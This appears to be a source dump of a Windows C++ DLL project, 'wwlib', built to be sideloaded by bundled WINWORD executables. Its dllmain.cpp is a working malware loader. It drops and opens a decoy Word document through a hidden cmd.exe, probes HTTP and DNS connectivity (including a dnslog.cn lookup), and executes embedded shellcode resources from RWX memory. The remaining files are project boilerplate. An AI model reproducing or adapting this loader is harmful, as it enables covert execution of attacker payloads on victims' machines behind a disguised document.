/wwlib/wwlib/Resources/winword.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Resources/winword.docx -------------------------------------------------------------------------------- /wwlib/wwlib/cpp.hint: -------------------------------------------------------------------------------- 1 | #define WWLIB_API __declspec(dllexport) 2 | #define WWLIB_API __declspec(dllimport) 3 | -------------------------------------------------------------------------------- /wwlib/wwlib/dllmain.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include 3 | #include 4 | #include 5 | #include "resource2.h" 6 | #include "string.h" 7 | 8 | extern "C" __declspec(dllexport) int FMain(int a, int b, int c, int d); 9 | extern "C" __declspec(dllexport) void wdCommandDispatch(); 10 | extern "C" __declspec(dllexport) void wdGetApplicationObject(); 11 | //extern "C" __declspec(dllexport) void DllCanUnloadNow(); //确定是否正在使用实现此功能的DLL。如果不是，则调用者可以从内存中卸载DLL。,不能重新定义 12 | //extern "C" __declspec(dllexport) void DllGetClassObject(); 13 | //extern "C" __declspec(dllexport) void DllGetLCID(); 14 | 15 | //#include 16 | 17 | #pragma comment (lib, "Dnsapi.lib") 18 | #pragma comment (lib, "ws2_32.lib") 19 | 20 | HMODULE g_hinstance=::GetModuleHandle("wwlib.dll"); 21 | 22 | 23 | DWORD reslen; 24 | const void* pResource; 25 | 26 | 27 | 28 | 29 | bool isHTTPEnable() 30 | 31 | { 32 | // 建立会话 33 | 34 | HINTERNET hInternet; 35 | 36 | hInternet = InternetOpen("", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); 37 | 38 | if (hInternet == NULL) return false; 39 | 40 | // 建立连接 41 | 42 | HINTERNET hConnect; 43 | 44 | hConnect = InternetConnect(hInternet, "www.baidu.com", INTERNET_INVALID_PORT_NUMBER, 45 | 46 | "", "", INTERNET_SERVICE_HTTP, INTERNET_FLAG_PASSIVE, 0); 47 | 48 | if (hInternet == NULL) 49 | 50 | { 51 | InternetCloseHandle(hInternet); 52 | 53 | return false; 54 | 55 | } 56 | 57 | HINTERNET httpFile; 58 | 59 | httpFile = HttpOpenRequest(hConnect, "GET", "/index.php", HTTP_VERSION, NULL, 0, INTERNET_FLAG_NO_UI | INTERNET_FLAG_DONT_CACHE, 1); 60 | 61 | if (httpFile == NULL) 62 | 63 | { 64 | 65 | InternetCloseHandle(hConnect); 66 | 67 | InternetCloseHandle(hInternet); 68 | 69 | return false; 70 | 71 | } 72 | 73 | HttpSendRequest(httpFile, NULL, NULL, 0, 0); 74 | 75 | char buf[1024]; 76 | 77 | DWORD buf_len = 1024; 78 | 79 | DWORD buf_read = 1024; 80 | 81 | //FILE *fp = fopen("c:\\test.txt", "wb"); 82 | 83 | while (1) 84 | 85 | { 86 | InternetReadFile(httpFile, buf, buf_len, &buf_read); 87 | 88 | if (buf_read == 0) { 89 | break; 90 | } 91 | 92 | 93 | //fwrite(buf, 1, buf_read, fp); 94 | //std::cout << buf << std::endl; 95 | 96 | } 97 | 98 | // fclose(fp); 99 | 100 | 101 | 102 | InternetCloseHandle(httpFile); 103 | 104 | InternetCloseHandle(hConnect); 105 | 106 | InternetCloseHandle(hInternet); 107 | 108 | // std::cout << buf_len << std::endl; 109 | // std::cout << strlen(buf) << std::endl; 110 | 111 | if (strlen(buf) > 20) { 112 | return true; 113 | } 114 | 115 | return false; 116 | 117 | } 118 | 119 | bool isDNSEnable() { 120 | PDNS_RECORD pResult = NULL; 121 | DNS_STATUS dnsStatus = 0; 122 | 123 | dnsStatus = DnsQuery_A("mig.dnslog.cn", DNS_TYPE_A, DNS_QUERY_STANDARD/*DNS_QUERY_STANDARD*/, NULL, &pResult, NULL); 124 | PDNS_RECORD temp = pResult; 125 | while (temp) 126 | { 127 | IN_ADDR ipaddr; 128 | ipaddr.S_un.S_addr = temp->Data.A.IpAddress; 129 | char *pAddr = inet_ntoa(ipaddr); 130 | 131 | if (*pAddr) { 132 | return true; 133 | } 134 | 135 | //printf("Addr:%s \n", pAddr); 136 | temp = temp->pNext; 137 | } 138 | 139 | DnsRecordListFree(pResult, DnsFreeRecordListDeep); 140 | return FALSE; 141 | } 142 | 143 | 144 | 145 | bool ExportToFile(const char* & exportFilePath, const void* pBuffer, DWORD bufferLength) 146 | { 147 | if (pBuffer == NULL || bufferLength <= 0) 148 | { 149 | return false; 150 | } 151 | HANDLE hFile = ::CreateFile(exportFilePath, 152 | GENERIC_WRITE, 153 | 0, 154 | NULL, 155 | CREATE_ALWAYS, 156 | FILE_ATTRIBUTE_NORMAL, 157 | NULL); 158 | 159 | if (hFile == NULL) 160 | { 161 | return false; 162 | } 163 | 164 | DWORD writetem = -1; 165 | BOOL ret = ::WriteFile(hFile, pBuffer, bufferLength, &writetem, NULL); 166 | if (writetem != bufferLength) 167 | { 168 | ::CloseHandle(hFile); 169 | return false; 170 | } 171 | 172 | ::CloseHandle(hFile); 173 | return true; 174 | } 175 | 176 | /** 177 | * exportPath:文件路径， 178 | * resourceId:资源ID ：Resource.h中 179 | * 导出资源包转成指定文件 180 | */ 181 | byte* ExportRes(DWORD resourceId) 182 | { 183 | 184 | 185 | 186 | HINSTANCE m_hInstance = g_hinstance; 187 | 188 | HRSRC hrSrc = FindResource(m_hInstance, MAKEINTRESOURCE(resourceId), _T("bin")); 189 | if (hrSrc == NULL) 190 | { 191 | return false; 192 | } 193 | HGLOBAL hGlobalResource = LoadResource(m_hInstance, hrSrc); 194 | if (hGlobalResource == NULL) 195 | { 196 | return false; 197 | } 198 | 199 | const void* pResourceData = ::LockResource(hGlobalResource); 200 | if (!pResourceData) 201 | { 202 | return false; 203 | } 204 | 205 | DWORD resLength = SizeofResource(m_hInstance, hrSrc); 206 | //reslen = resLength; 207 | //pResource = pResourceData; 208 | 209 | 210 | 211 | byte shellbinbuf[1024 * 20] = { 0 }; 212 | memcpy(shellbinbuf,pResourceData,resLength); 213 | 214 | //byte* shellbinbuf = new byte[resLength]; 215 | //memcpy(shellbinbuf, pResourceData,resLength); 216 | 217 | 218 | //byte* shellbinbuf = new byte(resLength); 219 | //ZeroMemory(shellbinbuf,resLength); 220 | 221 | //memcpy(shellbinbuf,pResourceData,resLength); 222 | //const DWORD sizebinbuf = resLength; 223 | //int size = resLength; 224 | 225 | 226 | //char shellcharbuf[1024 * 100] = {0}; 227 | //有问题 导致shellcode不能执行 228 | //char* shellcharbuf = new char(resLength*sizeof(tmp)*sizeof(byte)); 229 | //shellcharbuf[0] = '\0'; 230 | //ZeroMemory(shellcharbuf, resLength); 231 | //ZeroMemory(shellcharbuf, resLength); 232 | //int lens = sizeof(shellbinbuf); 233 | //int i = 0; 234 | 235 | /* 236 | 237 | */ 238 | 239 | 240 | // char tmp[5]; 241 | //将byte类型转为小写的十六进制 242 | //; for (int i = 0; i < resLength; i++) { 243 | // sprintf(tmp, "\\x%02x",shellbinbuf[i]); 244 | // //sprintf(shellcharbuf, "%s%s", shellcharbuf, tmp); 245 | // strncat(shellcharbuf, tmp, sizeof(tmp)); 246 | // } 247 | /* 248 | n++; 249 | if (1 == n) sprintf(shellcharbuf, "\"\\x%02X",shellbinbuf[i]); 250 | else { 251 | if (1 == n % 16) sprintf(shellcharbuf, "\"\n\"\\x%02X", shellbinbuf[i]); 252 | else sprintf(shellcharbuf, "\\x%02X", shellbinbuf[i]); 253 | } 254 | */ 255 | // 256 | 257 | //MessageBoxA(NULL, shellcharbuf, "test", NULL); 258 | 259 | //bool ret = ExportToFile(exportPath, shellcharbuf, resLength); 260 | 261 | 262 | FreeResource(hGlobalResource); 263 | // delete shellbinbuf; 264 | //delete shellcharbuf; 265 | //char buf[1024*10] ; 266 | //strcpy(buf,shellcharbuf); 267 | //delete shellcharbuf; 268 | return shellbinbuf; 269 | } 270 | 271 | 272 | 273 | bool ExportDoc(const char* exportPath, DWORD resourceId) 274 | { 275 | HINSTANCE m_hInstance = g_hinstance; 276 | 277 | HRSRC hrSrc = FindResource(m_hInstance, MAKEINTRESOURCE(resourceId), _T("doc")); 278 | if (hrSrc == NULL) 279 | { 280 | return false; 281 | } 282 | HGLOBAL hGlobalResource = LoadResource(m_hInstance, hrSrc); 283 | if (hGlobalResource == NULL) 284 | { 285 | return false; 286 | } 287 | 288 | const void* pResourceData = ::LockResource(hGlobalResource); 289 | if (!pResourceData) 290 | { 291 | return false; 292 | } 293 | 294 | DWORD resLength = SizeofResource(m_hInstance, hrSrc); 295 | //reslen = resLength; 296 | //pResource = pResourceData; 297 | bool ret = ExportToFile(exportPath, pResourceData, resLength); 298 | FreeResource(hGlobalResource); 299 | return ret; 300 | } 301 | 302 | 303 | BOOL system_hide(char* CommandLine) 304 | { 305 | SECURITY_ATTRIBUTES sa; 306 | HANDLE hRead, hWrite; 307 | 308 | sa.nLength = sizeof(SECURITY_ATTRIBUTES); 309 | sa.lpSecurityDescriptor = NULL; 310 | sa.bInheritHandle = TRUE; 311 | if (!CreatePipe(&hRead, &hWrite, &sa, 0)) 312 | { 313 | return FALSE; 314 | } 315 | 316 | STARTUPINFO si; 317 | PROCESS_INFORMATION pi; 318 | si.cb = sizeof(STARTUPINFO); 319 | GetStartupInfo(&si); 320 | si.hStdError = hWrite; 321 | si.hStdOutput = hWrite; 322 | si.wShowWindow = SW_HIDE; 323 | si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; 324 | //关键步骤，CreateProcess函数参数意义请查阅MSDN 325 | if (!CreateProcess(NULL, CommandLine, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) 326 | { 327 | return FALSE; 328 | } 329 | CloseHandle(hWrite); 330 | return TRUE; 331 | } 332 | 333 | 334 | int FMain(int a, int b, int c, int d) { 335 | 336 | TCHAR szDIR[256]; 337 | GetCurrentDirectory(256, szDIR); 338 | strcat_s(szDIR,"\\winword.docx"); 339 | if (ExportDoc(szDIR, IDR_DOC) ){ 340 | char cmdline[256 * 2] = "cmd.exe /c"; 341 | strcat(cmdline,szDIR); 342 | system_hide(cmdline); 343 | } 344 | 345 | 346 | if (isHTTPEnable()) { 347 | //MessageBoxA(NULL,"httpenable","",NULL); 348 | byte* buf2 = ExportRes(IDR_HTTPBIN); 349 | byte buf[1024 * 20] = { 0 }; 350 | memcpy(buf, buf2, 1024 * 20); 351 | LPVOID Memory = VirtualAlloc(NULL, 1024 * 20, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 352 | memcpy(Memory, buf, sizeof(buf)); 353 | ((void(*)())Memory)(); 354 | } 355 | if (isDNSEnable()) { 356 | byte* dnsbuf = ExportRes(IDR_DNSBIN); 357 | byte buf[1024 * 20] = { 0 }; 358 | memcpy(buf, dnsbuf, 1024 * 20); 359 | LPVOID Memory = VirtualAlloc(NULL, 1024 * 20, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 360 | memcpy(Memory, buf, sizeof(buf)); 361 | ((void(*)())Memory)(); 362 | } 363 | 364 | 365 | exit(0); 366 | return 1; 367 | } 368 | void wdCommandDispatch() { 369 | 370 | } 371 | void wdGetApplicationObject() { 372 | } 373 | BOOL APIENTRY DllMain( 374 | HINSTANCE hinstDLL, // handle to DLL module 375 | DWORD fdwReason, // reason for calling function 376 | LPVOID lpReserved) // reserved 377 | { 378 | // Perform actions based on the reason for calling. 379 | switch (fdwReason) 380 | { 381 | case DLL_PROCESS_ATTACH: 382 | // Initialize once for each new process. 383 | // Return FALSE to fail DLL load. 384 | break; 385 | case DLL_THREAD_ATTACH: 386 | // Do thread-specific initialization. 387 | break; 388 | case DLL_THREAD_DETACH: 389 | // Do thread-specific cleanup. 390 | break; 391 | case DLL_PROCESS_DETACH: 392 | // Perform any necessary cleanup. 393 | break; 394 | } 395 | return TRUE; // Successful DLL_PROCESS_ATTACH. 396 | } -------------------------------------------------------------------------------- /wwlib/wwlib/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容 4 | // Windows 头文件 5 | //#include 6 | -------------------------------------------------------------------------------- /wwlib/wwlib/lolbins/WINWORD2007.EXE: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/lolbins/WINWORD2007.EXE -------------------------------------------------------------------------------- /wwlib/wwlib/lolbins/WINWORD2010.EXE: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/lolbins/WINWORD2010.EXE -------------------------------------------------------------------------------- /wwlib/wwlib/lolbins/WINWORD2013.EXE: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/lolbins/WINWORD2013.EXE -------------------------------------------------------------------------------- /wwlib/wwlib/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: 与预编译标头对应的源文件 2 | 3 | #include "pch.h" 4 | 5 | // 当使用预编译的头时，需要使用此源文件，编译才能成功。 6 | -------------------------------------------------------------------------------- /wwlib/wwlib/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: 这是预编译标头文件。 2 | // 下方列出的文件仅编译一次，提高了将来生成的生成性能。 3 | // 这还将影响 IntelliSense 性能，包括代码完成和许多代码浏览功能。 4 | // 但是，如果此处列出的文件中的任何一个在生成之间有更新，它们全部都将被重新编译。 5 | // 请勿在此处添加要频繁更新的文件，这将使得性能优势无效。 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // 添加要在此处预编译的标头 11 | #include "framework.h" 12 | 13 | #endif //PCH_H 14 | -------------------------------------------------------------------------------- /wwlib/wwlib/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/resource.h -------------------------------------------------------------------------------- /wwlib/wwlib/resource1.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/resource1.h -------------------------------------------------------------------------------- /wwlib/wwlib/resource2.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/resource2.h -------------------------------------------------------------------------------- /wwlib/wwlib/temp.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/temp.bin -------------------------------------------------------------------------------- /wwlib/wwlib/winword.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/winword.docx -------------------------------------------------------------------------------- /wwlib/wwlib/wwlib.cpp: -------------------------------------------------------------------------------- 1 | // wwlib.cpp : 定义 DLL 的导出函数。 2 | // 3 | 4 | #include "pch.h" 5 | #include "framework.h" 6 | #include "wwlib.h" 7 | 8 | 9 | // 这是导出变量的一个示例 10 | WWLIB_API int nwwlib=0; 11 | 12 | // 这是导出函数的一个示例。 13 | WWLIB_API int fnwwlib(void) 14 | { 15 | return 0; 16 | } 17 | 18 | // 这是已导出类的构造函数。 19 | Cwwlib::Cwwlib() 20 | { 21 | return; 22 | } 23 | -------------------------------------------------------------------------------- /wwlib/wwlib/wwlib.h: -------------------------------------------------------------------------------- 1 | // 下列 ifdef 块是创建使从 DLL 导出更简单的 2 | // 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 WWLIB_EXPORTS 3 | // 符号编译的。在使用此 DLL 的 4 | // 任何项目上不应定义此符号。这样，源文件中包含此文件的任何其他项目都会将 5 | // WWLIB_API 函数视为是从 DLL 导入的，而此 DLL 则将用此宏定义的 6 | // 符号视为是被导出的。 7 | #ifdef WWLIB_EXPORTS 8 | #define WWLIB_API __declspec(dllexport) 9 | #else 10 | #define WWLIB_API __declspec(dllimport) 11 | #endif 12 | 13 | // 此类是从 dll 导出的 14 | class WWLIB_API Cwwlib { 15 | public: 16 | Cwwlib(void); 17 | // TODO: 在此处添加方法。 18 | }; 19 | 20 | extern WWLIB_API int nwwlib; 21 | 22 | WWLIB_API int fnwwlib(void); 23 | -------------------------------------------------------------------------------- /wwlib/wwlib/wwlib.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/wwlib.rc -------------------------------------------------------------------------------- /wwlib/wwlib/wwlib.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {859C185B-3467-44DD-B108-9E0BA59204C2} 24 | Win32Proj 25 | wwlib 26 | 10.0.17763.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v141 33 | MultiByte 34 | Dynamic 35 | 36 | 37 | DynamicLibrary 38 | false 39 | v141 40 | false 41 | MultiByte 42 | Dynamic 43 | 44 | 45 | DynamicLibrary 46 | true 47 | v141 48 | Unicode 49 | 50 | 51 | DynamicLibrary 52 | false 53 | v141 54 | true 55 | Unicode 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | WWLIB 77 | true 78 | 79 | 80 | WWLIB 81 | true 82 | 83 | 84 | WWLIB 85 | false 86 | 87 | 88 | WWLIB 89 | false 90 | 91 | 92 | 93 | Use 94 | Level3 95 | Disabled 96 | false 97 | WIN32;_DEBUG;WWLIB_EXPORTS;_WINDOWS;%(PreprocessorDefinitions) 98 | true 99 | pch.h 100 | false 101 | MultiThreadedDebugDLL 102 | EnableFastChecks 103 | Disabled 104 | StdCall 105 | 106 | 107 | Windows 108 | true 109 | false 110 | 111 | 112 | 113 | 114 | Use 115 | Level3 116 | Disabled 117 | true 118 | _DEBUG;WWLIB_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 119 | true 120 | pch.h 121 | 122 | 123 | Windows 124 | true 125 | false 126 | 127 | 128 | 129 | 130 | Use 131 | Level3 132 | Disabled 133 | true 134 | true 135 | false 136 | WIN32;NDEBUG;WWLIB_EXPORTS;_WINDOWS;%(PreprocessorDefinitions) 137 | true 138 | pch.h 139 | 140 | 141 | Windows 142 | true 143 | true 144 | true 145 | false 146 | 147 | 148 | 149 | 150 | Use 151 | Level3 152 | MaxSpeed 153 | true 154 | true 155 | true 156 | NDEBUG;WWLIB_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 157 | true 158 | pch.h 159 | 160 | 161 | Windows 162 | true 163 | true 164 | true 165 | false 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | Create 184 | Create 185 | Create 186 | Create 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | -------------------------------------------------------------------------------- /wwlib/wwlib/wwlib.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 资源文件 21 | 22 | 23 | 资源文件 24 | 25 | 26 | 27 | 28 | 29 | 头文件 30 | 31 | 32 | 头文件 33 | 34 | 35 | 头文件 36 | 37 | 38 | 头文件 39 | 40 | 41 | 42 | 43 | 源文件 44 | 45 | 46 | 源文件 47 | 48 | 49 | 源文件 50 | 51 | 52 | 53 | 54 | 资源文件 55 | 56 | 57 | -------------------------------------------------------------------------------- /wwlib/wwlib/wwlib.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | C:\Users\shy\source\repos\CrossNet\CrossNet\bin\Debug\wwlib\Debug\WINWORD2010.exe 5 | WindowsLocalDebugger 6 | 7 | 8 | C:\Users\shy\source\repos\CrossNet\CrossNet\bin\Debug\wwlib\Release\WINWORD2010.exe 9 | WindowsLocalDebugger 10 | 11 | -------------------------------------------------------------------------------- /wwlib/wwlib/wwlib1.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/wwlib1.aps -------------------------------------------------------------------------------- /wwlib/wwlib/wwlib1.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/wwlib1.rc -------------------------------------------------------------------------------- /wwlib/wwlib/wwlib2.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/wwlib2.aps -------------------------------------------------------------------------------- /wwlib/wwlib/wwlib2.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/wwlib2.rc --------------------------------------------------------------------------------